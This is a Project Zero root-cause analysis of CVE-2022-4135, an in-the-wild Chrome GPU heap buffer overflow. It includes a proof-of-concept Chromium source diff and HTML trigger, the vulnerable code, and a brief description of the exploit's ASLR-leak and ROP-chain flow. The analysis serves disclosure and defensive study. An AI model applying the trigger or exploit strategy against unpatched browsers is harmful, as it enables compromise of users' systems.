CVE-2022-4135: Chrome heap buffer overflow in validating command decoder
Sergei Glazunov, Google Project Zero
The Basics
Disclosure or Patch Date: 24 November 2022
Product: Google Chrome
Affected Versions: pre 107.0.5304.121
First Patched Version: 107.0.5304.121
Issue/Bug Report: https://bugs.chromium.org/p/chromium/issues/detail?id=1392715
Bug-Introducing CL: N/A
Reporter(s): Clement Lecigne of Google's Threat Analysis Group
The Code
Proof-of-concept:
repro.diff
diff --git a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
index 4441b31c8802c..db0b078fc13f7 100644
--- a/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
+++ b/third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.cc
@@ -135,6 +135,11 @@
#include "third_party/blink/renderer/platform/wtf/text/string_utf8_adaptor.h"
#include "ui/gfx/geometry/size.h"
+#include "components/viz/common/resources/resource_format.h"
+#include "gpu/command_buffer/client/shared_image_interface.h"
+#include "third_party/blink/public/platform/web_graphics_context_3d_provider.h"
+#include "third_party/blink/renderer/platform/graphics/gpu/drawing_buffer.h"
+
// Populates parameters from texImage2D except for border, width, height, and
// depth (which are not present for all texImage2D functions).
#define POPULATE_TEX_IMAGE_2D_PARAMS(params) \
@@ -2112,6 +2117,35 @@ void WebGLRenderingContextBase::blendColor(GLfloat red,
GLfloat green,
GLfloat blue,
GLfloat alpha) {
+ auto* context = drawing_buffer_->ContextGL();
+ auto* shared_image_interface =
+ drawing_buffer_->ContextProvider()->SharedImageInterface();
+
+ auto mailbox = shared_image_interface->CreateSharedImage(
+ viz::ResourceFormat::RGBA_4444, gfx::Size(32, 32),
+ gfx::ColorSpace::CreateSRGB(), kBottomLeft_GrSurfaceOrigin,
+ kPremul_SkAlphaType,
+ gpu::SHARED_IMAGE_USAGE_GLES2 |
+ gpu::SHARED_IMAGE_USAGE_GLES2_FRAMEBUFFER_HINT |
+ gpu::SHARED_IMAGE_USAGE_DISPLAY_READ,
+ gpu::kNullSurfaceHandle);
+ shared_image_interface->Flush();
+ auto sync_token = shared_image_interface->GenUnverifiedSyncToken();
+ context->WaitSyncTokenCHROMIUM(sync_token.GetConstData());
+ context->Flush();
+
+ auto id = context->CreateAndTexStorage2DSharedImageCHROMIUM(mailbox.name);
+
+ GLuint framebuffer;
+ context->GenFramebuffers(1, &framebuffer);
+ context->BindFramebuffer(GL_READ_FRAMEBUFFER, framebuffer);
+
+ GLenum attachment = GL_COLOR_ATTACHMENT0_EXT;
+ GLint level = 1;
+ context->FramebufferTexture2D(GL_READ_FRAMEBUFFER, attachment, GL_TEXTURE_2D,
+ id, level);
+ context->DiscardFramebufferEXT(GL_READ_FRAMEBUFFER, 1, &attachment);
+
if (isContextLost())
return;
ContextGL()->BlendColor(red, green, blue, alpha);
diff --git a/ui/gl/gl_utils.cc b/ui/gl/gl_utils.cc
index 2da1f75e571ec..9f8b90a0d3e6e 100644
--- a/ui/gl/gl_utils.cc
+++ b/ui/gl/gl_utils.cc
@@ -108,6 +108,9 @@ bool UsePassthroughCommandDecoder(const base::CommandLine* command_line) {
}
bool PassthroughCommandDecoderSupported() {
+ if ((true))
+ return false;
+
#if defined(USE_EGL)
GLDisplayEGL* display = gl::GLSurfaceEGL::GetGLDisplayEGL();
// Using the passthrough command buffer requires that specific ANGLE
repro.html
<script>
canvas = document.createElement("canvas");
document.documentElement.appendChild(canvas);
context = canvas.getContext("webgl2");
context.blendColor(0, 0, 0, 0);
</script>
Exploit sample: N/A
Did you have access to the exploit sample when doing the analysis? Yes
The Vulnerability
Bug class: heap buffer overflow / out-of-bounds access
Vulnerability details:
void TextureManager::SetTarget(TextureRef* ref, GLenum target) {
DCHECK(ref);
ref->texture()->SetTarget(target, MaxLevelsForTarget(target)); // *** 1 ***
}
void Texture::SetTarget(GLenum target, GLint max_levels) {
TextureBase::SetTarget(target);
size_t num_faces = (target == GL_TEXTURE_CUBE_MAP) ? 6 : 1;
face_infos_.resize(num_faces);
for (size_t ii = 0; ii < num_faces; ++ii) {
face_infos_[ii].level_infos.resize(max_levels); // *** 2 ***
}
[...]
}
bool TextureManager::ValidForTarget(
GLenum target, GLint level, GLsizei width, GLsizei height, GLsizei depth) {
if (level < 0 || level >= MaxLevelsForTarget(target)) // *** 3 ***
return false;
[...]
}
Texture* CreateGLES2TextureWithLightRef(GLuint service_id, GLenum target) {
Texture* texture = new Texture(service_id);
texture->SetLightweightRef();
texture->SetTarget(target, 1 /*max_levels=*/); // *** 4 ***
texture->set_min_filter(GL_LINEAR);
texture->set_mag_filter(GL_LINEAR);
texture->set_wrap_t(GL_CLAMP_TO_EDGE);
texture->set_wrap_s(GL_CLAMP_TO_EDGE);
return texture;
}
void Texture::SetLevelCleared(GLenum target, GLint level, bool cleared) {
DCHECK_GE(level, 0);
size_t face_index = GLES2Util::GLTargetToFaceIndex(target);
DCHECK_LT(face_index, face_infos_.size());
DCHECK_LT(static_cast<size_t>(level),
face_infos_[face_index].level_infos.size());
Texture::LevelInfo& info = face_infos_[face_index].level_infos[level]; // *** 5 ***
UpdateMipCleared(&info, info.width, info.height,
cleared ? gfx::Rect(info.width, info.height) : gfx::Rect());
UpdateCleared();
}
By default, when a texture is initialized, its maximum number of mipmap levels is computed based on the target by the MaxLevelsForTarget
function[1]. This value is then used as the initial size of the level_infos
vector[2], and the same MaxLevelsForTarget
method is used by functions like FramebufferTexture2D
to validate textures[3].
However, when a texture is created from a shared image, CreateGLES2TextureWithLightRef
bypasses the texture manager and manually sets max_levels
to one. This allows an attacker to pass the validation with an out-of-bounds level and subsequently trigger a buffer overflow on the level_infos
vector, e.g. by calling DiscardFramebufferEXT
and triggering the issue in Texture::SetLevelCleared
[5].
Patch analysis:
The patch introduces a new function named ValidForTextureTarget
and modifies most of ValidForTarget
call sites to invoke the new function instead, which checks the actual size of the level_infos
vector before calling ValidForTarget
.
Thoughts on how this vuln might have been found (fuzzing, code auditing, variant analysis, etc.):
The bug was likely found during a code audit. The mismatch between the hardcoded max_levels
argument in the SetTarget
call site[4] and other call sites seems sufficiently interesting to attract a careful reviewer's attention.
Alternatively, a custom GPU interface fuzzer could discover the issue.
(Historical/present/future) context of bug:
The GPU is known to be an attractive target for in-the-wild attackers, but vulnerabilities in Chrome's GPU process implementation are relatively rarely caught.
The Exploit
(The terms exploit primitive, exploit strategy, exploit technique, and exploit flow are defined here.)
Exploit strategy (or strategies):
The vulnerability immediately provides an attacker with an extremely powerful exploitation primitive -- a non-linear buffer overflow with a controlled offset.
Exploit flow:
The exploit abuses the command buffer and GLES2 APIs for memory manipulation. A corrupted memory bucket is used to first leak data from the GPU process and break ASLR, and then, when the ROP chain is ready, hijack the control flow.
Known cases of the same exploit flow: N/A
Part of an exploit chain? Yes, together with CVE-2022-3723.
The Next Steps
Variant analysis
Areas/approach for variant analysis (and why):
Found variants: N/A
Structural improvements
What are structural improvements such as ways to kill the bug class, prevent the introduction of this vulnerability, mitigate the exploit flow, make this type of vulnerability harder to exploit, etc.?
Ideas to kill the bug class:
The specific subclass (out-of-bounds access on an std::vector
) has been eliminated in Chrome by "safe C++ mode" runtime checks.
Ideas to mitigate the exploit flow:
Other potential improvements:
0-day detection methods
What are potential detection methods for similar 0-days? Meaning are there any ideas of how this exploit or similar exploits could be detected as a 0-day?